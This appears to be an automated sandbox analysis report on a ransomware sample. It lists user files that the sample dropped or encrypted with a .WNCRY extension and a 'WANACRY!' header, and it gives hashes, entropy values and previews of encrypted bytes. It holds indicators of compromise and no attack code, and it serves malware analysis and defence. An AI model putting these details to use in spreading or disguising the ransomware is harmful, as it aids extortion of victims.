                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.862770490853504
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfs6KzULTj/HrwO+dkTxmst/RMCoO46ZKCgr5SQGEqc/C3H3UIQVM3ujjw+d76L:bkf/KzULTDAkTxz5oO46ZPYbzg3UIQqr
                                                                                                                        MD5:4ADB34CCF2CBC889689CBE9F9D875649
                                                                                                                        SHA1:9B9D56B8B6B80024C4805240AFC76EEDC4CEEFD6
                                                                                                                        SHA-256:DCE4A53B24A405E978624D243E6A72B634FC82F82BC40480EBE2B568DB286994
                                                                                                                        SHA-512:12E26D653EED8088438B81296C8215003A8F24AC852FBD93DBB6A80EDABF7C9E10615DE299C047B7C7F09D08EEF33FB85C27EFF1D2B63F98AE7CA7B329A1AC8F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....3w|..P....r<t..!...........\.WXJ...#.tm~n. ....+._...R.w...uv..5...$......q.|..1....X.....5..tD......YeQQ.~.M..X.V..f._..C.......3...z"gg.....M*)......2........R(g.y....Y....oW.F.!&...'.d..d..9......m.....S#..MI..5*.....Y..2E.v|!.<qJ........S/..................@..9H..L.m.M...x:....x?...7.. ...wS."p..)..w.....O.......n.=..%.u..7..........2..=.]N..Rm...n..>;..r9..5..D5...@.(J]...i.xs..Y.mR..N.B.[...E....m.......H.L;..6........U/.........t.d.)...a.......<$.},.....K.....&T]...A.AyI..h...s_T..M.O.l...`9]{...g#..l.A..\.R.g.).y'........>~.....6;.0"r5...&......zbN<G...&.....z..f.b...a.gg..$....H..ac,.....u....+.2ru..T...%Y..|..=.u1..}...TrE-r...=N%L....5.eR>..$._K.*x./....P..Xc.u7..BYEnm~>...8_..N....h.UH......c..<)>.^p.l..{..S;....@..q.d...u....va...v..%&...Jz...z ;...f.A.Sw.~.......ei2@...#...{.<X(_...B`1.....3....g.EN..Mw.C.C..t......(.1..).#.E.2.h.......j..B.n.....t...c.v.G...w.......:.].....^i.....a.b.1!P..`.O.5u..t.......O

                                                                                                                        C:\Documents and Settings\user\Downloads\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842956825271187
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1Hwzur+fWlDX8RMhAPbRc3ukN5LucgJIpzfe2IChwr+l/smSN4y3:bk1A4lL8RMhebm3hNtucg2pzf5ICtsmS
                                                                                                                        MD5:6EA0856344C1333561CED537A82776FE
                                                                                                                        SHA1:D59F689512A172200D8084B93B5101BF5DF42580
                                                                                                                        SHA-256:A16F7D1F68C5447488862DFB92D4B466B03F651B31DB57EA8B6680F5A741EB99
                                                                                                                        SHA-512:314E1E246EC2BD949E248B6C61849E88C077F0E78A2EF579E538B1DBB41CD5FE1F0B8B3A0F9638294CB5EC35E8078B0318F2393111F5925CEE9638CE9B6DC198
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......].>.i..Z.Z.p..C....M.....9.MJn.dX.E.....D.h3...kW.8.?Z2..............8XpV.......T.3..6....|.d#XAZ6..2.i..O.L.!.5=f..b.J.k.fB.G;K..*.S.Oc....w..-.<x\....2~...s..".7..Z..A(&f.<.~.]....=5^x!?...J..-N..g......_5...v.K.n./.h.0..v.Y.D>4.....On............N..... .Jy$....4..3]v..f....Wtt..?.....D=.0%......q3^..P@d...l.o. .+..$F..-.e..A.".c...k{.rR...#........uF.ri@..$...6.l......S...R.q(..~...8...1..........D......2.1+dd.4.L.f3~X..;xc...F...4D...v.Cpt......^.v=......j...._.a...'].j.6..Q(...?u...h.*..B............D..;...Yb..No...I...7~....N..,L.@.~..|....v...bQ...YEj....dt!.C.X>...<... uS..7.f.j....$.<Hy.A.k....j=d-.)L.-..s..Ld0.oa.....x.....U7.n$o.#..'ZW5.R.....Q.T0..I...7.....<.X4.."C..\....f*...!.4e...?U&..N.`.I.......R6`i8..R....U..[.N...R.Z.@...F.A..$..O.w.q.2......8l...|....%!MV".,.-.$d..|...%.Ob...[&....e....,.L..k^Z.GP..&.=.h...@]s,..x.......Gy.?(..2...:...w..(...xU....p.!.....P{5.&..F.....e.....i.eA}.(.*.S0+.d..X..

                                                                                                                        C:\Documents and Settings\user\Downloads\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.858695780986104
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkZt0luD176eedpjWV3cTkCgRIfbMfkCjxbMcJHMdqBKASM0eny:bkZt/1o03NC4f5lHwe/SMVy
                                                                                                                        MD5:292241635127B6CB00911FA981029268
                                                                                                                        SHA1:12DCDBB8F00342406EE317CCFCB8499F454C4F57
                                                                                                                        SHA-256:6A6F421A03BE1277A9278E0268AD7014B8836ED1F4255E36DED561CF526DF629
                                                                                                                        SHA-512:75DE25058520520627EFF8FEF00C8B64EB60FA4D919C52B4DE19311D33813F1789D60E18680D857A4C3ADC58377A0ABF2C15ED5F419DAF9DC8BB2B770C41D29F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Cr4.....D..I..W~d,7.-c4..]_.....l..Q....!..S.....u.=.n}.q.ow2.{..V6.4pq(2|..M#..&14.e\W......\,{....:H.3E... .N.:v..Q8...H.p.......oG....K.`...[....7.7....Fi...S..W.+t..P)$9.ci..-.....X..a..v.t.w.T>.S....,..u..:....4..3*..q...h..v...s........'f9..............AJ...NN4._a..}..6/nWPx.N.....Dh.K.s3!a.. .._>..5.....d<..p...iK...o.#....'.E..........C.r..........N...e.2.<.r-k]..i...AZY..p..$...^.;.Y.JKd..l@..R=.j....3.e.....-.<.H...J^.....>l.$./..z......s.9..I8.5.9.../s....i.#.8.!.....>...g.....B.OU.:........W......L..(h..v..m.y..2....I7G..S...~...Fw.>....c.!...z4.....I...l..0&...^$.b.U..n...b..#....S.#~[.P...4..!....T.....Y..YI.]..>x$....x....]....!s&.$....v5=y...h....dk.i.H..D.i.....s..a....5M..(..i.3T..{..>....E;y.lc.?....7.<.K.P..TV}n...u..m.[....+.Z.X..}.{).q....?.&0.....3?K.w.N.IUwN~;...>.,.5....E.+..S.'*...N....V....G.E.4. ...2wF.dz...>.|HsMH..%...E..e....|..-..........+o.....J...t......VE[.'... ..^.....G..O..=A,.d}t.e=q.0..-....K

                                                                                                                        C:\Documents and Settings\user\Downloads\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390762086828945
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bklXOpkKN3PvUhII1BmiU4fj3I3uNVHEQ6bumK9CWxxYRhrWmCIlhC6SvnMPO1Q:bklXNKNGIG24fVVHb66mKf6LLD2CP
                                                                                                                        MD5:2340F6E87965689DB9E46487FBF3A1D7
                                                                                                                        SHA1:095D0D46F67337ED086E7F6B37B72052B9089236
                                                                                                                        SHA-256:E17A5CFC6CFE8B8035A6A9B47C1A6016E007E024324D694B44D7B01139F9A0B6
                                                                                                                        SHA-512:B21F6FE42F2B3FE6EBBD1D8ED948FCA0E4D122448F2953B378F8AEF8F392B40BDF92497000173995E82F80FB04B2BFD3BBCAB3183ECC09BBA86F00740F5DCF81
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....c..%...pk0...(r5.~h<.,.J.....m....^.C....*.....H.*H.jgS....VV.N.9.@.r(..&.X.@k..Y*>L{.a...#Q<:."X..C.7...~..P.eTR.l...w..N. .E.............Q.u.L.....+.....N.....K.i.!.^...=...s.....#M..'.....OM...a.k~.....E.._5...#...g....>.c.....W.{. .h..............|?..X..i..z.....2...N.*.v X...n.xj),...4.....0..vN...#...8.5V.(<.#.*z..p..C...Y_.T..=.......O.eus.,..n....B`.B.@,$........1..p...3h.s.D7.....$.0.].Q.YE l..d%..C.Yc.*..t...S.(.#a(..J.\.P.)AP..f~..c.V....g.............."f.../....C....w.....$*K..{..3.......7B...Y.r<-...eG.yj..E^S....EI.3.,..[.{.\.{..Y....V.Rt.P......:X..D.2..#..u3\.(.&I.U....)...IV.U..Y..-b..^V..:...lR.d..V......X.....@X..B..&6"..X3i.C)<.UH...s....%..A.).....'......E/..x..)......6.q.[.%)..AIZ....@7..W.R#...C.....m...zo!..z.S..&........l~I..L.l\s.@...qL.c~0.c.*.}."...+....IG1:#.c;._...J1.e...n}.q...fj(a..97..d....y.IL.1.......u...2.s...&./.+.B..F.,.#|>..S0....M..kR.S..n.Z...8V.<...n....Y..y...U"..s,.j+....]F.N;...`....

                                                                                                                        C:\Documents and Settings\user\Downloads\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.834268650316136
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuz8uU0C4f56X9Bv8rK1SxFH2ASp5dNMgRizl1nBsP1jTvd1t3Qm:bku5C4gX/6K1SHK7dNHArnBm9lQm
                                                                                                                        MD5:F37A4DBA61079EE467D624E439456AC0
                                                                                                                        SHA1:1DBD9D9B2B5BFA127F4B93BF3699C17FF85AE67C
                                                                                                                        SHA-256:A2E80F3759246453FA56E59810C6D7CD9234FFFC2A1F67F49612E38D39AFC91F
                                                                                                                        SHA-512:72DCEB3857CDE2B580B96F2A3940244A905BADC8B29B76EDD111CF6A0579BDDBFCBC8F23BD62E81D71FC4190F62CB2EF73CC027BFA2CE81620DDA3C6514A1E7E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......3.b...+..S.Y$..}/.l'.c.A.y..4..M\...Cf...G.5[.+......9//._...9k.....DF.6.t..6.k.')9....I8...A..lN.E6...._-....X.Tf,..J#.>..T.9.B...p.Z...X?.....H-...4.5...z.4.]V...."h.Y./.:3....x.f..............D.n....."E#...,...O*...x)..+.$U.yo.......s..HW............MA.!..g.u..UdB3..PaEt...Y...8.[.....\.h....Kn...t......3#.x+..f...^5+pf>wi..*=..w...~.wQ;...qT.E[..!....h....:.....g{.@..E.;.c9....C..Y\..o....U.32i.. R.h..,.0...............m..8N..:.?.P.o..s.c..e..v.. *_.X.=.PA...m..S..RH`K'S..L..K.D.w..#..:K...K.i...l.*.bk..G....._.KyB...k.r...|....R.e....6~m|%.`-U.`..)........B.T.n.].K.^z..L..7C....:&..T..... :...n..N......C.VYo.....wi...Z.K.1...3.......l.w..3 ..]...i...Pq.3...w.6hK.S..I5....0C.i......!z.....&.qi..F...C_v.^[..a...`.,.6.\.*.......+hu.....=..4.&.C.K.i*.T+.AO.%_.9.e...).!.P.$......n.8.K.;...w..Uf...g."m.......c..O....',..}.4M6I.k....=.......+.T..syK..hK...v..T..........yJq.....d.....].....%..B.B..+%.0,l..f...f|#.t.QK..}....7.(.k.

                                                                                                                        C:\Documents and Settings\user\Downloads\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838780769748978
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAtdS22AZrgSEnDVLjm7nRHRInKGzgV9szdOKfrFSsfQH/OqESFsyelpQO:bkAtQME9VLjmnJRgGq83H/pqlqO
                                                                                                                        MD5:C3E5D92809E935ACA65A8F7E26CB5A16
                                                                                                                        SHA1:E07C14834B19FEEE8C0309C5B96CBAC315075BF7
                                                                                                                        SHA-256:72DB349EECE432C8D1735CDBD8E2279E44CB05FD9B92DE858D18A745037C81CD
                                                                                                                        SHA-512:42A92F42C79956E9DC103462029EF032C52173A2D3B183EA60D928D1289261BAD7A7A757F8882766AA8DF34A3066CCFC1E7C3BB1B4F7885D47A9AA53DE488CA1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......&...{.1.?.1QH2.Y..FP.7H..\....Q..4.,.m...]..;...W...;.P...~l....>.<....Pd7B..W....%..<..!:S....Bl.^oT.....qS.*K.[%0|....!}C.1...C.U.Uh..J.[...&].....(C~<(..!S......S.V.....>;...<r.Y!.....>.c}ka3*...G.|...T..^~I..V....D.g.2x..J.[..S..d.<.-N.d............{a.}@u+..............-r.1;$.nC.ur...U.q....f.<.~w..1nW.._..h.b......=..u.T..7.sh[r!W:.{o...nhWHi".J..P.....f........b..;|.......C..a..FA.+G.?O0.J..t..$...T...>.7..kS...U...^.....|.....A.+..%=...LQ...9.w.8.....(H"...?...p.E..9@..D....#.l..@n.a.l..h...h...KG.f..1u...5G....6.jk[.i@....mv.....~....1`u...v...0..I..[d.,.....~.........~.g...3.'P$...L..a..>..2..y?..u......E.02#..}. .Wo.aDT..4. ...(...........V.2...ckdD.e.(.......QI.*A..........1.I....S|.H......j\.....(s...)%|.9G....B0r...m.....+.)...5....OG.....F..L=..H....].fIiSw..,..W...K..V...Kt.....d.%B.T.......".sWH*. ...w...7SC.?....Y...."-.`.hZrJ....yX..<?..?.......f..1Emm..]...\0...Z..h.?...m8....]...S.........6.VR..6=x.s.Id3W..

                                                                                                                        C:\Documents and Settings\user\Downloads\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8091964591953085
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9+c7sqIlFT5P9TofMS7mR18LQ1B0YfrQvQOtBtO9SED/+MwyxA:bklg/lTo48EvuED2L4A
                                                                                                                        MD5:FD4370F223909513668E2AEAD6571DFB
                                                                                                                        SHA1:94DB879631F33ECD12169A145379F8936465EF98
                                                                                                                        SHA-256:F0D7C72D143DA9373AC297E6C64B219AD8803809FD4A2B2ED2C004BDFB06ED37
                                                                                                                        SHA-512:586CAC1010345999363B0227AB6AEFE78CCE0BBCDC51904C252B611D66C68A891FBEC119A43F1E9E85552230DE9C8B39DC3AE3F02640FC76C482164A47139584
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....'....Y-%48..7..q...j..C,.)~.f....-~O.e.....p.T.K.8.}.....I...G..'..E...93=.+#.E.O....&..&...../.......Y..M.+..w....R......I./:......v.C.\3b....p;PZn.`.Bd.]h=:POo[T..I{........=.....T..-6(m...?6.k(..D.Z.t...L......#.H.....:>...}!:.#..?..b..2&*.............h...-?Qjj..~......ab....@.[...."6Wns.......=....l...[/..hm...o/.v.,...=4.0..(...R..X.....uh...}.[F...=...<.8...aSZoB>...l..>.. 59v..6.cl...Kr..B4@.....L..F.^.*...T|..v..=.(s...az.......-.@....&.o......'Hx*...`....D.B8....u...E."U.]...e......F`.U}G.A.hi.M..y..y..].?C=.7...%1^..:[.w...fT.%...q....%...44..&.........x..1(6.&...m2T8...E..A...(...........=.n.U.L..4.W...x..S....94...H......[.r..?....!..x....>...2..W.+T...x.`.Io..4xL.^.:.4j.g.r..d.}.......I./..U:...bei.q.y...PziI....m..|qB...)d..w0..A.)X..j.!..3_..nU..,8.F.R.F.[HY.DQ?0.F....&.~6.*.#......>\.=.US.e.a.....h...Rug.....P...Z.JP..@ .........Q4~..\Bd......3...RJ..(.cR).Q.z.I.M..Ps..C.]..Vu>.s.~..Y...).Lw.9..s...IU..T.].C

                                                                                                                        C:\Documents and Settings\user\Downloads\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.827435064558081
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9t/T77gyl5w65E6iQiTKue7r8ZDjl84MM1N/8hafjJfWL+IeIwNX+P9Gc:bk9t777PzwUiTEoRR84MMPv9uyzIfFf
                                                                                                                        MD5:80A06DC1C1B72C5F02FB8102C6DAE6F6
                                                                                                                        SHA1:3A6BD396912145480B56541A03DB0021FEFAE09F
                                                                                                                        SHA-256:147BCCCAF7A2901B6C0FD004671FD966D9CB43FCF66E400DD43C71D7555B804D
                                                                                                                        SHA-512:A32A1ABDD896F63A8FF97C69EF57EF1F86DEB6B7DB20498D240401B5044D8D68148BC0ADE685DB7F42639DD09B451E04CAAA9EE3A4CB4AB24B583D37C66B5997
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....h.g..b'..X.t....opZ..u..h.5.QR+r.DY#.fJ0.........i....S>......lRlrg..}v.cC.../..I......[....P.d.y..././eR..s............{7. ..H.k.>:....#[I..-.1....R.l.\YFk.....]qQ...K.;...{+b+.e6L.c%..t.............q&MAl~s<v..'!...9..u.q.I..P..o.^.&_:..<............V....o.dF ..m{.{g..+..B.....z.....((PE.Z.lo..).RD..c.....af.4R.V.N.R...g..=w@|.&+(.}p.E.\..ND...=..!..1.?...........p.pk....YA..X.i.....\ W.0....'......-._8..jH...Q.Nd+.jS..Xw.GK.&.g..'F.#....+.e.>...=.fJ..Q.[.^...].......A/..|....W].H/l".Q...5.X.%r.. J.....p.@..[.....r.......y.xmZ.)`...@.......j...=.J.(.%.2@........o.L.f.QF........`.`..m...xn..y..........q..;I.xe)......p..X8..A..cm(......R.;Mo...x3.|...!.%a)..2.p...L(er....P...8i.H.Y..t.].<..%......f+.h..:|.....I_.t(w..r......]~LS.o...Az..0h..#....':.n.Sc......~4t.F.../.......B\.(M6.".{.. $..qRP..2..#.S!.k..&0-L.S..." 6].O....H%..d......=N..l#.%Sf...=.........[x.......dP....."FZn...f......P.n..-...s...L...dj............O

                                                                                                                        C:\Documents and Settings\user\Downloads\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.825192225569219
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkMFCaFRo3iOtW25ZsTgIH4bzOqdfxCKQl9Y9REYos6B1lnoBt:bkMUaFO3bDZ4gIHWZxCJ4Grtfxc
                                                                                                                        MD5:469BCF3C18411036354EA8E201A4917D
                                                                                                                        SHA1:AB7D724733EEC085999E644665571A90B181B11C
                                                                                                                        SHA-256:444384F5FE945F5651BA23273372E1CFAFA618F05EB7470257B6BCD44D83B7F3
                                                                                                                        SHA-512:A5A37D4ACF7AA9E2BB4454B47F91033BF399EE716FC0F320B26EFBFB1311EE62E79BCD8B9CCE21C9099C166002D5C13C5E7DBBFDF6C7414650226937BD1C5F80
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....3..O.......R........a..R{?...^...dm..).....`....`e.....w..+%.(.].q...`.....ur.......0...XE......2....ncm9.......8..z......<...V......]0mh......H}7R\.....e..$..@./"....[4JN.aA..J.*...UP..^..H:.p|d....V.....0...\.Pv%.O.[&p.`...G$..NcA.5Y...Gs$qu;sb.............R...x...N....^.c..F..{8N..00...9..9.QSQv.1b..B...]..{..[0..tV[...J.Hx..?k........W..p.Pv..[(u...,.........?<9....*7]......B...}...........mGIQ.z.....}../.*{..|....Q../I..!..S.2.VG.[P...`&....v>\B..c.zS..p..>;,&...j.....\....d.^g..g..V.v.............C..miv.;.Ly...L..0.....`...e..D...W...e......RzA.mf$....F..O........|pE$I..e.O......xGnp;..a$.S......:.}.H.....HBpy.....%...yI.8..P.I..k.......T))5.$Yj..S...2....m/]....._.Q6ky....Y.x...j.z;.)..........T....*8.}.6|K..j.6).|....d.)..7,v.....f_.;.^O....]F_...J....U)z.}WEx,k.v..i....fh.8.pLAJJj.c.Y...v...$B6_0+.~.....\ybW...-.i..(.I....j..VE..XHx....`.U...A..\....y7t.=w/.&..*.WG&.....+..5.F.N9.-.O..F..w...W-(.z.......=Ix....g?Z.q...P.,$T

                                                                                                                        C:\Documents and Settings\user\Downloads\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832456688217508
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkbou0n2WI2V/WSCJv09vaIWSthbHoJD4irbFTfeUnZ7gjcuFMz9ylgBjB7kekBf:bkbbUMvp1OhbIx9nZUjc+Mz9/jNXy7Uo
                                                                                                                        MD5:4E7A31419B681B897911E30B7957ECB7
                                                                                                                        SHA1:5C839C725262F66A90B202F6AACEB3D5AE835FF2
                                                                                                                        SHA-256:76583927C9AF0268AD3DEF43EFBE7220BC7147F6DA788FE48B3F3931B0A7DFA0
                                                                                                                        SHA-512:2B53DABCC8A18C2482F6A7F93D8CCB2619EB91BC14CD4F4906A284E5F701C4D3E42B4E4323DB2BA64EA80D122566132BA5621EE9063618871FDAA1A59E9A7276
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....L>V...<.j...8....t....Lmc).*6.b.G>..;.1......P....k.....ut..QF:.0.....'}qx....b.=.:.0..M..q....l....es...S.m....N../.j9.....n.n\....U...|...$.a..R.~...a(.sd3.k.Y.....a.H.....0..\.......??H............08.Q..N.......M<H..q.....^.@...rf..2...4..............:m....S.E..hb..+.K+.w.Xe..L...&..$,.;.w........'.]..]t.G....a.V..8.O..GsSu...E...f0..X..+c...~..C\T.....l.[...~.9i...0.....b|.V.cD.z5......`U...JD./.....4.7......X....O...*y...[.tRV.`.2...e.^..~s.&@.^....K....fCa.9m9OD>:..v.G|]-..3Lww.Y.v,..`K..C......$Q....F..N.I..H.)....3...iD.Cd_ACn.a..(l.D ..........(;V.8Zn.A.t...+jk..yE..l.j...I!....3..y.x.... Bw...c|.~. ........M.K...._...*.]2N.*X.;.....H.........=i.T...C.][.-..]..G,.r...4K..P....T..'l...x..!.......x...f...P....Ao..r.b.){2(......W)*..(Y...w.l......Q#?o..Q.I..........@..2s....RV....$V...~...).N..6.Ki:..F.Vo..ehXg..Ib..7...i.....B...h......!Q.KJtP.T..Q%.F..b.<x..f.o2;..I...d.Z.m."..j..;.......p'(.<......#.j..(.[6M..

                                                                                                                        C:\Documents and Settings\user\Downloads\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.866350770810491
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkTMoGnr2YKbNI5hp565GgJakPGiPif2kkOn7sh3LrWL+0xY4s26B/n:bkLhbGJ56566i27EYtL90xnqn
                                                                                                                        MD5:6347CDBD19500562D9A6C52A353BC9CC
                                                                                                                        SHA1:8B04C3434A08BCB4FF349195CD832BEC3B3AB119
                                                                                                                        SHA-256:E48941034F10847523D564840404F3BD630124E2010722EEC61EF35EB7E37B60
                                                                                                                        SHA-512:9402428385ECCEE5EA3CFBD9F8458452C7187DAD30460163A35D21F778DA066EC7D667273502B145BC8E436A484BCD274D7373CB4AE76E05AF0A7AD8F0A23245
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....=...H..vT..T.....=.&#....h.B.e3"...<A...o........D......F.;.3.....w9Hm/VA.w...}5.by..F...zc.;......[)..'7..Lg..A..9.n2...}..m...zS1....$....`...;.V....!...i3...8.(.F..V@...i......5.........$(Q.P.#F...F./..O.F:..${r"...<......=|.U..L....b...in.............C.I.n.O.!..AC-.-....5..4AO.)RP.....:.....fQ..|...Ge*8+..L`.d`w.....X...E..>.....~..'...6..."]8..I.......g.1UV...V*".`.....+/.e.&~...A.......b.(..;.s..+.f.7C=y..`p~.....a.@.>...Ms..ec".......K.t.R.p.u(Ay.@..U.mR.&Y............`<.k.e..bv{b1...D..H.0N.~..6Gy.Y....{..<gk...)........x_z.....|\s*..2.......^#.".X.7.....yK..w.6ku..mH........q...F.\...@.JP.%.iQ......,....~n.Q.Yo..$...S..(.U....Z.@.F'kS ?q..U.M.9.........j.Z!n2D...[6..]....(.}.._....(\2,W...6.....3.....p.#s..f.Do.z....(.5.S!..O.ME...a.K#..X.........U..dQ..l.f..=.k....C.n....L.9K.~N.[?.(E..\.........h6.`T..p...}.g..I......1.KhN...}..o.@..cJ....j._\/}...C1.Q.n.4yI..u..Cj:.zL......2.....l..f.(..H....$....M.oz.p.....h........

                                                                                                                        C:\Documents and Settings\user\Downloads\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839111691378563
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkcl2vAeKZ6fOCJughC0XrJXmHWNehUAb3jADUMuKkuUKEQg+HUNecf9s:bkhvAeK4mDkvXoHWchUA1MfHU0ca
                                                                                                                        MD5:0AB6DC62D3524309CA668A411F4E543B
                                                                                                                        SHA1:3837E8DE7F953A457ED0AFB21BFBE3F7B774F5BA
                                                                                                                        SHA-256:002564B3D6BD9F666A88FFEEA9A64DA9A839375FEAAC0D3522D48339CF75BEDE
                                                                                                                        SHA-512:C224A8FAC6C3B01F753171666F867F7167F9C11F43D119FCA9A7A4903CBDF98F6896EDD623B026611C5763580A205EFA179C3F38E51DEDB80030FEF0D4B4D05C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....M....;.G..uKb.8.2. .@wb)e..."O..iF.E.p...<C'N.......UH.&'d.].....t.;+W..H%3.(...(TD.;.a...Z.n.-...iZ......%..[0.b.#%E...n|.gq"...uy>.Ol../N..q...].......ouwn...^..Z<..R.Su...u.p.f..c......'..."b.b....wF...\JT.M....XA...>G.I;.#.Q'wN....../...]|E..............C.1..09.[.o..@0.$n..:......x..+N.Pq.t2..,.&!-..K.B...F0...p..S...7......~.l.A.%~......7.).......t..H..V...+o.Z......N...}....#.N._3D}.D..oq/..7........9[.).d...%.P.+...-.<o.(...C..:....#...*.A....|v.e.C.H....o...%c....H..,...u..a..3e_...Y..e.V._.. .'..3.+...e........}.$.3A.x.D...C.Z....Q.Y!.......wN.<bgBC....y.}.z.$.F9.b.-}.B.{...^.....g...P?I{..G.g.6,......q.._P.r.II..'v.?.......i.y.[...~cxGta..;5...i.\T.J...........R.I..{M.....2.9:...J..?.....S..[7.."VV.......r....hVJnW..v8./.....?.(..-I-7t..[).....<.*...a5......^.{..]Z..'.`.E#k...Dg..b...{"...Xsc&B.x...z.7.C+....G......g..... .HyY...?....J..ki".g.&a..2La.H.O9~..f..+R.p_.w..AO...e...;!..Vs.....9...tD..!.Z.J..5.#..|.*...Iu.

                                                                                                                        C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996090858009442
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:tIIkWrTbSNzr3tTDmsXNjd5ZKUWXKcdVb39jDbp8VYTZQWAwk9:tIIzUrdTvNR/KUWXbNNjnKVKtAwk9
                                                                                                                        MD5:BD002BE64657F06947EAC41E613C1374
                                                                                                                        SHA1:1E86C6A68F0BBE51B21BD3021E63538375471700
                                                                                                                        SHA-256:0693C0E0BF8B4FC0CDCF85014DCB37C391CA4120DA07EF28B03054E9A713737B
                                                                                                                        SHA-512:A8671296CEF44E938AFDBB3D48C554132B4F973E316A50C8F8F965A2D0D4F3B600EA5A2F76E4C7555FDCE008C0F25A13502A004840EC93B09EF01CDBB6BC75A8
                                                                                                                        Malicious:true
